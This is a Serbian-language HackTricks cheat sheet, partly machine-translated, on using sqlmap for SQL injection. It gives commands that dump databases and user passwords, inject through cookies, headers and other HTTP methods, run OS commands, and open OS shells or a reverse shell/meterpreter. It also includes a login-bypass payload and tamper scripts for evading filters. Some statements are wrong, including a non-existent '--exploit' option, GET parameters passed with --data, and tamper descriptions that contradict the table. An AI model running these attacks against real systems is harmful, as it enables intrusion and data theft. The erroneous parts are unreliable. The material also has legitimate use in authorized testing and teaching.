hacktricks/pentesting-web/sql-injection/sqlmap.md
2024-02-10 13:11:20 +00:00

24 KiB

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Osnovni argumenti za SQLmap

Generički

-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY

Dobijanje informacija

Interno

--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB

Podaci iz baze

sqlmap can be used to extract data from a database using SQL injection vulnerabilities. It supports various database management systems such as MySQL, PostgreSQL, Oracle, Microsoft SQL Server, and more.

To extract data from a database, you can use the following command:

sqlmap -u --dbs


This command will enumerate the available databases on the target system. Once you have identified the target database, you can use the following command to enumerate the tables within that database:

sqlmap -u -D --tables


After identifying the target table, you can use the following command to extract the data from that table:

sqlmap -u -D -T --dump


Sqlmap will automatically detect and exploit SQL injection vulnerabilities in the target URL. It will then extract the data from the specified database and table.

It is important to note that using sqlmap for unauthorized access to databases is illegal and unethical. Always ensure you have proper authorization and permission before performing any database extraction activities.
```bash
--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Mesto za ubacivanje

Iz Burp/ZAP snimka

Snimite zahtev i kreirajte req.txt fajl

sqlmap -r req.txt --current-user

Ubacivanje GET zahteva

SQLMap

SQLMap je moćan alat za automatizaciju testiranja SQL injekcija. Može se koristiti za otkrivanje i iskorišćavanje ranjivosti SQL injekcija u GET zahtevima.

Osnovna upotreba

Da biste izvršili SQLMap na GET zahtevu, koristite sledeću sintaksu:

sqlmap -u "URL" --method GET --data "parametri"

Gde:

  • URL predstavlja ciljni URL koji sadrži GET zahtev.
  • parametri predstavljaju parametre GET zahteva.

Primer

Na primer, ako imamo sledeći GET zahtev:

https://www.example.com/page.php?id=1&name=John

Možemo izvršiti SQLMap na ovom zahtevu koristeći sledeću komandu:

sqlmap -u "https://www.example.com/page.php" --method GET --data "id=1&name=John"

SQLMap će automatski otkriti i iskoristiti bilo kakve ranjivosti SQL injekcija u GET zahtevu.

sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

Ubacivanje POST zahteva

SQLMap

SQLMap je moćan alat za automatizaciju testiranja SQL injekcija. Može se koristiti za otkrivanje i iskorišćavanje ranjivosti SQL injekcija u POST zahtevima.

Da biste koristili SQLMap za ubacivanje POST zahteva, prvo morate snimiti POST zahtev koji želite da testirate. Možete to uraditi pomoću alata kao što su Burp Suite ili OWASP ZAP.

Kada snimite POST zahtev, sačuvajte ga u datoteku kako biste ga kasnije mogli koristiti sa SQLMap-om. Na primer, možete ga sačuvati kao post_request.txt.

Zatim pokrenite SQLMap sa sledećom komandom:

sqlmap -r post_request.txt --level=5 --risk=3

Ova komanda će pokrenuti SQLMap i proslediti mu snimljeni POST zahtev. Parametri --level i --risk se koriste za podešavanje nivoa agresivnosti testiranja. Možete ih prilagoditi prema potrebi.

SQLMap će automatski analizirati POST zahtev i pokušati da otkrije ranjivosti SQL injekcija. Ako pronađe ranjivosti, moći ćete da iskoristite ove ranjivosti za izvršavanje SQL upita na ciljnom serveru.

Manualno ubacivanje

Ako želite da ručno ubacite SQL injekciju u POST zahtev, možete to uraditi tako što ćete promeniti vrednosti parametara u zahtevu.

Na primer, ako imate POST zahtev koji izgleda ovako:

POST /login HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 27

username=admin&password=123

Možete pokušati da ubacite SQL injekciju tako što ćete promeniti vrednost parametra username ili password. Na primer:

POST /login HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 27

username=admin' OR '1'='1&password=123

Ovde smo promenili vrednost parametra username u admin' OR '1'='1, što je SQL izraz koji će uvek biti tačan. Na taj način, možemo pokušati da izvršimo SQL upit koji će vratiti sve zapise iz baze podataka.

Važno je napomenuti da ručno ubacivanje SQL injekcija može biti složeno i zahteva dobro razumevanje SQL sintakse i strukture ciljne aplikacije. Takođe, ovo može biti manje efikasno od korišćenja automatizovanih alata kao što je SQLMap.

sqlmap -u "http://example.com" --data "username=*&password=*"

Ubacivanje kodova u zaglavlja i druge HTTP metode

SQL Injection

SQL Injection je tehnika koja omogućava napadaču da ubaci zlonamerni SQL kod u SQL upit koji se izvršava na serveru. Ova tehnika se često koristi za izvlačenje osetljivih podataka iz baze podataka ili za izvršavanje neovlašćenih operacija.

Ubacivanje kodova u zaglavlja

SQL Injection može se izvršiti ubacivanjem zlonamernog SQL koda u zaglavlja HTTP zahteva. Ovo može biti korisno kada se server oslanja na vrednosti iz zaglavlja za izvršavanje SQL upita.

Na primer, ako server koristi vrednost iz zaglavlja "User-Agent" za izvršavanje SQL upita, napadač može ubaciti zlonamerni SQL kod u to zaglavlje kako bi izvršio neželjene operacije.

Ubacivanje kodova u druge HTTP metode

SQL Injection takođe može biti izvršen ubacivanjem zlonamernog SQL koda u druge HTTP metode kao što su PUT, DELETE ili OPTIONS. Ovo može biti korisno kada server obrađuje ove metode i koristi vrednosti iz tela za izvršavanje SQL upita.

Napadač može iskoristiti ove metode za ubacivanje zlonamernog SQL koda u telo zahteva kako bi izvršio neovlaštene operacije ili izvukao osetljive podatke iz baze podataka.

Blind SQL Injection

Slepa SQL Injection je varijacija SQL Injection tehnike u kojoj napadač ne dobija direktni odgovor od servera. Umesto toga, napadač koristi logiku uslova kako bi izvukao informacije iz baze podataka.

Ova tehnika se koristi kada server ne prikazuje direktno greške ili informacije o bazi podataka, ali napadač može koristiti logiku uslova da bi izvukao osetljive podatke.

Ubacivanje kodova u zaglavlja

Slep SQL Injection može se izvršiti ubacivanjem zlonamernog SQL koda u zaglavlja HTTP zahteva. Napadač može koristiti logiku uslova u SQL upitu kako bi izvukao informacije iz baze podataka.

Na primer, napadač može ubaciti zlonamerni SQL kod u zaglavlje "User-Agent" i koristiti logiku uslova da bi proverio da li je odgovor servera tačan ili netačan. Na osnovu toga, napadač može izvući osetljive podatke iz baze podataka.

Ubacivanje kodova u druge HTTP metode

Slep SQL Injection takođe može biti izvršen ubacivanjem zlonamernog SQL koda u druge HTTP metode kao što su PUT, DELETE ili OPTIONS. Napadač može koristiti logiku uslova u SQL upitu kako bi izvukao informacije iz baze podataka.

Napadač može iskoristiti ove metode za ubacivanje zlonamernog SQL koda u telo zahteva i koristiti logiku uslova da bi proverio tačnost odgovora servera. Na osnovu toga, napadač može izvući osetljive podatke iz baze podataka.

#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

SQL ubrizgavanje drugog reda

SQL ubrizgavanje drugog reda je tehnika koja se koristi za izvršavanje SQL upita na serveru, čak i ako je primarni napad već otkriven i ispravljen. Ova tehnika se koristi kada se unos korisnika ne koristi izravno u SQL upitu, već se pohranjuje u bazu podataka za kasniju upotrebu.

Da biste izvršili SQL ubrizgavanje drugog reda, prvo morate pronaći mjesto gdje se korisnički unos pohranjuje u bazu podataka. Zatim, umjesto da izvršite SQL upit izravno, ubrizgavate SQL kod koji će biti pohranjen u bazi podataka. Kada se taj unos kasnije koristi u SQL upitu, SQL kod će se izvršiti.

Ova tehnika može biti vrlo moćna jer omogućava izvršavanje SQL koda čak i ako je primarni napad već otkriven i ispravljen. Međutim, zahtijeva detaljno razumijevanje strukture baze podataka i načina na koji se korisnički unos obrađuje i pohranjuje.

SQL ubrizgavanje drugog reda može biti vrlo opasno jer omogućava napadaču da izvršava proizvoljan SQL kod na serveru. To može dovesti do krađe podataka, brisanja podataka ili čak preuzimanja kontrole nad cijelim sustavom. Stoga je važno da razvijatelji i administratori sustava budu svjesni ove tehnike i poduzmu odgovarajuće mjere zaštite.

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Shell

Shell je interaktivno okruženje koje omogućava korisniku da komunicira sa operativnim sistemom putem komandne linije. Shell se često koristi u procesu hakovanja za izvršavanje komandi na ciljnom sistemu. SQLMap takođe ima mogućnost da izvršava komande na ciljnom sistemu putem Shell-a.

Da biste koristili Shell funkcionalnost u SQLMap-u, koristite sledeću opciju:

--os-shell

Ova opcija omogućava izvršavanje komandi na ciljnom sistemu putem Shell-a. Nakon što se uspešno uspostavi Shell sesija, možete izvršavati komande kao da ste direktno povezani sa ciljnim sistemom.

Da biste koristili Shell funkcionalnost u SQLMap-u, morate imati odgovarajuće privilegije na ciljnom sistemu. Takođe, morate biti oprezni prilikom izvršavanja komandi putem Shell-a, jer nepravilna upotreba može dovesti do otkrivanja ili oštećenja ciljnog sistema.

#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

Pretražite veb sajt pomoću SQLmap-a i automatski iskoristite ranjivosti

SQLmap je moćan alat za automatizaciju testiranja bezbednosti koji se koristi za otkrivanje i iskorišćavanje ranjivosti SQL injekcije na veb sajtovima. Ovaj alat omogućava brzo i efikasno pretraživanje veb sajtova u potrazi za SQL injekcijom, a zatim automatski izvršava eksploataciju ranjivosti.

Da biste pretražili veb sajt pomoću SQLmap-a i automatski iskoristili ranjivosti, sledite sledeće korake:

  1. Instalirajte SQLmap na svoj sistem. Možete ga preuzeti sa zvanične veb stranice SQLmap-a.

  2. Pokrenite SQLmap komandom sqlmap u terminalu.

  3. Odaberite ciljni veb sajt koji želite da pretražujete. Na primer, možete koristiti opciju -u i navesti URL ciljnog sajta.

  4. Podesite parametre pretrage. SQLmap ima mnoge opcije koje vam omogućavaju da prilagodite pretragu prema vašim potrebama. Na primer, možete koristiti opciju --level za podešavanje nivoa dubine pretrage ili --risk za podešavanje nivoa rizika.

  5. Pokrenite pretragu komandom --crawl kako biste omogućili SQLmap-u da automatski pretražuje veb sajt i pronalazi potencijalne ranjivosti.

  6. Kada SQLmap pronađe ranjivosti, možete izvršiti automatsku eksploataciju komandom --exploit kako biste iskoristili te ranjivosti.

Važno je napomenuti da je pretraga i eksploatacija veb sajtova bez dozvole vlasnika ilegalna. Uvek se pridržavajte etičkih smernica i zakona prilikom korišćenja ovakvih alata.

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

Postavljanje sufiksa

Kada koristite SQLMap za izvršavanje SQL injekcije, možete postaviti sufiks kako biste prilagodili napad. Sufiks se dodaje na svaki payload koji SQLMap generiše i koristi se za prilagođavanje napada specifičnim zahtevima ciljanog veb sajta.

Da biste postavili sufiks, koristite sledeću opciju:

--suffix=<sufiks>

Na primer, ako želite da dodate sufiks "123" na svaki payload, koristite sledeću komandu:

sqlmap -u <URL> --suffix=123

Ovo će rezultirati generisanjem payloada sa dodatkom "123" na svaki payload koji SQLMap šalje ciljanom veb sajtu.

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

Prefiks

python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

Pomoc pri pronalaženju boolean ubrizgavanja

Boolean ubrizgavanje je tehnika napada koja se koristi za otkrivanje i iskorišćavanje ranjivosti SQL upita. Ova tehnika se zasniva na iskorišćavanju logičkih operatora (AND, OR, NOT) kako bi se izvršio uslovni upit koji otkriva informacije o bazi podataka.

Da biste pronašli boolean ubrizgavanje, možete koristiti alat SQLMap. Ovaj alat je moćan i automatizovan alat za testiranje bezbednosti koji podržava različite tehnike napada, uključujući boolean ubrizgavanje.

Evo nekoliko koraka koje možete slediti da biste pronašli boolean ubrizgavanje pomoću SQLMap:

  1. Prvo, instalirajte SQLMap na svoj sistem.
  2. Zatim, pokrenite SQLMap i navedite ciljni URL koji želite da testirate.
  3. Odaberite opciju za boolean ubrizgavanje (na primer, --technique=B).
  4. Pokrenite skeniranje i SQLMap će automatski pokušati da otkrije boolean ubrizgavanje na ciljnom URL-u.
  5. Pregledajte rezultate skeniranja i pronađite potencijalne ranjivosti boolean ubrizgavanja.

Kada pronađete boolean ubrizgavanje, možete iskoristiti ovu ranjivost za izvršavanje različitih napada, kao što su izvlačenje podataka iz baze podataka ili izvršavanje neovlašćenih SQL upita.

Važno je napomenuti da je korišćenje alata poput SQLMap uvek praćeno etičkim kodeksom i zakonima. Uvek se pobrinite da imate dozvolu za testiranje bezbednosti pre nego što koristite ove tehnike.

# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Modifikacija

Tamper opcija u SQLMap-u omogućava modifikaciju HTTP zahteva i odgovora kako bi se izvršile različite tehnike zaobilaženja zaštite ili manipulacije podacima. Ova opcija je korisna kada se susretnete sa filterima ili drugim mehanizmima zaštite koji ometaju SQLMap-ovu sposobnost da izvrši SQL injection napad.

Korišćenje Tamper opcije

Da biste koristili Tamper opciju, jednostavno dodajte --tamper parametar prilikom pokretanja SQLMap-a, zajedno sa nazivom tamper skripte koju želite da primenite. Na primer:

sqlmap -u http://example.com/vulnerable.php?id=1 --tamper=apostrophemask

Tamper skripte

SQLMap dolazi sa velikim brojem unapred definisanih tamper skripti koje možete koristiti. Ove skripte su dizajnirane da primene određene tehnike zaobilaženja zaštite ili manipulacije podacima. Evo nekoliko primera tamper skripti:

  • apostrophemask: Dodaje dodatni apostrof kako bi se izvršila tehnika zaobilaženja apostrofa.
  • apostrophenullencode: Kodira apostrof u NULL bajt kako bi se izvršila tehnika zaobilaženja apostrofa.
  • appendnullbyte: Dodaje NULL bajt na kraj svakog parametra kako bi se izvršila tehnika zaobilaženja NULL bajta.
  • base64encode: Kodira parametre u Base64 format kako bi se izvršila tehnika zaobilaženja filtera.
  • chardoubleencode: Kodira svaki karakter u dvostruki Unicode format kako bi se izvršila tehnika zaobilaženja filtera.
  • concat2concatws: Koristi funkciju CONCAT_WS umesto CONCAT kako bi se izvršila tehnika zaobilaženja filtera.
  • equaltolike: Menja operator = u operator LIKE kako bi se izvršila tehnika zaobilaženja filtera.

Kreiranje sopstvenih tamper skripti

Takođe možete kreirati sopstvene tamper skripte prilagođene vašim potrebama. Tamper skripte su napisane u Python programskom jeziku i moraju implementirati tamper(payload) funkciju koja prima SQL payload kao argument i vraća modifikovani payload.

--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
Tamper Opis
apostrophemask.py Zamenjuje apostrof karakter sa njegovim UTF-8 punim širinskim pandanom
apostrophenullencode.py Zamenjuje apostrof karakter sa njegovim ilegalnim dvostrukim unikod pandanom
appendnullbyte.py Dodaje kodiran NULL bajt karakter na kraju payload-a
base64encode.py Base64 enkoduje sve karaktere u datom payload-u
between.py Zamenjuje operator veće od '&gt;' sa 'NOT BETWEEN 0 AND #'
bluecoat.py Zamenjuje razmak nakon SQL izjave sa validnim nasumičnim praznim karakterom. Zatim zamenjuje karakter = sa LIKE operatorom
chardoubleencode.py Dvostruko url-enkoduje sve karaktere u datom payload-u (ne obrađuje već enkodirane)
commalesslimit.py Zamenjuje instance poput 'LIMIT M, N' sa 'LIMIT N OFFSET M'
commalessmid.py Zamenjuje instance poput 'MID(A, B, C)' sa 'MID(A FROM B FOR C)'
concat2concatws.py Zamenjuje instance poput 'CONCAT(A, B)' sa 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'
charencode.py Url-enkoduje sve karaktere u datom payload-u (ne obrađuje već enkodirane)
charunicodeencode.py Unikod-url-enkoduje neenkodirane karaktere u datom payload-u (ne obrađuje već enkodirane). "%u0022"
charunicodeescape.py Unikod-url-enkoduje neenkodirane karaktere u datom payload-u (ne obrađuje već enkodirane). "\u0022"
equaltolike.py Zamenjuje sve pojave operatora jednako '=' sa operatorom 'LIKE'
escapequotes.py Slash-uje navodnike ' and "
greatest.py Zamenjuje operator veće od '&gt;' sa odgovarajućim 'GREATEST' pandanom
halfversionedmorekeywords.py Dodaje verzionisani MySQL komentar pre svake ključne reči
ifnull2ifisnull.py Zamenjuje instance poput 'IFNULL(A, B)' sa 'IF(ISNULL(A), B, A)'
modsecurityversioned.py Obuhvata kompletni upit verzionisanim komentarom
modsecurityzeroversioned.py Obuhvata kompletni upit nulom verzionisanim komentarom
multiplespaces.py Dodaje više razmaka oko SQL ključnih reči
nonrecursivereplacement.py Zamenjuje unapred definisane SQL ključne reči sa odgovarajućim reprezentacijama za zamenu (npr. .replace("SELECT", "")) filteri
percentage.py Dodaje znak procenta '%' ispred svakog karaktera
overlongutf8.py Konvertuje sve karaktere u datom payload-u (ne obrađuje već enkodirane)
randomcase.py Zamenjuje svaki karakter ključne reči sa nasumičnom vrednošću velikog slova
randomcomments.py Dodaje nasumične komentare SQL ključnim rečima
securesphere.py Dodaje specijalno kreiran string
sp_password.py Dodaje 'sp_password' na kraj payload-a radi automatske obfuscacije iz DBMS logova
space2comment.py Zamenjuje razmak karakterom komentara
space2dash.py Zamenjuje razmak karakterom crte '--' praćenim nasumičnim stringom i novom linijom '\n'
space2hash.py Zamenjuje razmak karakterom heša '\#' praćenim nasumičnim stringom i novom linijom '\n'
space2morehash.py Zamenjuje razmak karakterom heša '\#' praćenim nasumičnim stringom i novom linijom '\n'
space2mssqlblank.py Zamenjuje razmak nasumičnim praznim karakterom iz validnog skupa alternativnih karaktera
space2mssqlhash.py Zamenjuje razmak karakterom heša '\#' praćenim novom linijom '\n'
space2mysqlblank.py Zamenjuje razmak nasumičnim praznim karakterom iz validnog skupa alternativnih karaktera
space2mysqldash.py Zamenjuje razmak karakterom crte '--' praćenim novom linijom '\n'
space2plus.py Zamenjuje razmak karakterom plus '+'
space2randomblank.py Zamenjuje razmak nasumičnim praznim karakterom iz validnog skupa alternativnih karaktera
symboliclogical.py Zamenjuje AND i OR logičke operatore sa njihovim simboličkim pandanima (&& i
unionalltounion.py Zamenjuje UNION ALL SELECT sa UNION SELECT
unmagicquotes.py Zamenjuje karakter navodnika ' sa više-bajtnom kombinacijom %bf%27 zajedno sa generičkim komentarom na kraju (da bi radilo)
uppercase.py Zamenjuje svaki karakter ključne reči sa vrednošću velikog slova 'INSERT'
varnish.py Dodaje HTTP zaglavlje 'X-originating-IP'
versionedkeywords.py Obuhvata svaku ne-funkcionalnu ključnu reč verzionisanim MySQL komentarom
versionedmorekeywords.py Obuhvata svaku ključnu reč verzionisanim MySQL komentarom
xforwardedfor.py Dodaje lažno HTTP zaglavlje 'X-Forwarded-For'

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u: